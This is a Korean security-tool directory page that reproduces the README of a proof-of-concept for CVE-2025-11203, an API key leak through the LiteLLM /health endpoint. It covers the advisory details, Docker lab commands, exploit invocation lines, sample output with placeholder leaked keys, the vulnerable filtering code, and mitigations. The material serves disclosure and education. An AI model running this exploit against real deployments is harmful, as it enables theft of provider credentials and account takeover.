Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-11203-PoC — 해당 취약점을 직접 재현하기 위한 코드 | Kitploit
도구/GitHubGitHub/learner202649/cve-2025-11203-poc
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityLearning & EducationAPI Security
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

해당 취약점을 직접 재현하기 위한 코드

저장소 보기
43개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-11203 — LiteLLM Health Endpoint API_KEY Information Disclosure

LiteLLM (버전 < 1.63.14)의 /health 엔드포인트가 api_key 매개변수를 처리할 때, 민감 정보를 올바르게 필터링하지 않아 인증된 사용자가 다른 모델 설정에 저장된 API Key를 획득할 수 있습니다. _clean_endpoint_data() 함수를 통해 제거되어야 할 api_key 필드가 특정 코드 경로에서 유출됩니다.

FieldValue
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
AffectedLiteLLM < 1.63.14
Fixedv1.63.14+ (_clean_endpoint_data() 전면 적용)
Published2025-10-29
Discovered byDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Reported to vendor2025-03-25
LinksZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Description

LiteLLM의 /health 엔드포인트는 설정된 모든 모델의 건강 상태를 반환하는 데 사용됩니다. 일반적으로 _clean_endpoint_data() 함수는 건강 검사 응답에서 민감 필드(api_key, x-api-key 등)를 제거해야 합니다.

그러나 v1.63.14 이전에는 이 정리 함수가 특정 코드 경로에서 실행되지 않거나 불완전하게 실행되어, 모델 설정의 API Key가 건강 검사 응답에 평문으로 반환되었습니다.

취약점 엔드포인트

엔드포인트메서드설명
/healthGET모든 모델의 건강 상태 반환
/health/livelinessGET활성 확인
/health/readinessGET준비 상태 확인

유출된 민감 정보

인증된 사용자는 건강 검사 인터페이스를 통해 다음을 획득할 수 있습니다:

  • 설정된 모든 모델의 API Key (OpenAI, Anthropic, Azure 등)
  • 모델 엔드포인트 URL 등의 정보
  • 저장된 자격 증명은 추가 공격에 사용될 수 있음

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. 취약 버전 LiteLLM 실행
docker compose up -d

# 2. 의존성 설치
pip install -r requirements.txt

# 3. 익스플로잇 스크립트 실행
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. 전체 응답 확인
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (선택 사항) 수정 버전 확인
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

예상 출력

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under unhealthy_endpoints since the fake keys can't actually connect to OpenAI/Anthropic.

수정 버전에서는 유출 거부:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Technical Details

취약점 코드

취약점은 litellm/proxy/health_check.py의 _clean_endpoint_data() 함수에 있으며, ILLEGAL_DISPLAY_PARAMS 목록을 통해 api_key 등 민감 필드를 필터링합니다:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

본 데모에서는 sed를 사용하여 ILLEGAL_DISPLAY_PARAMS에서 "api_key"를 제거하여, /health 응답이 원본 모델 설정을 반환하도록 하여 이 정리 함수가 특정 코드 경로에서 우회되는 상황을 시뮬레이션했습니다.

영향

  • 인증된 저권한 사용자가 모든 모델 설정의 API Key를 읽을 수 있음
  • 유출된 자격 증명을 사용하여 LLM 제공자 API를 직접 호출할 수 있음
  • 추가 데이터 유출 및 계정 탈취로 이어질 수 있음

Environment

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Fix

v1.63.14에서 수정되었으며, _clean_endpoint_data()가 모든 건강 검사 코드 경로에서 올바르게 호출되도록 보장합니다.

완화 조치

  1. LiteLLM을 **v1.63.14+**로 업그레이드
  2. 업그레이드가 불가능한 경우 /health 엔드포인트의 액세스 출처 제한
  3. 건강 검사 엔드포인트에 대한 비정상적인 액세스 모니터링

References

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

Disclaimer: This content is provided for educational purposes and authorized security testing only.

도구 다운로드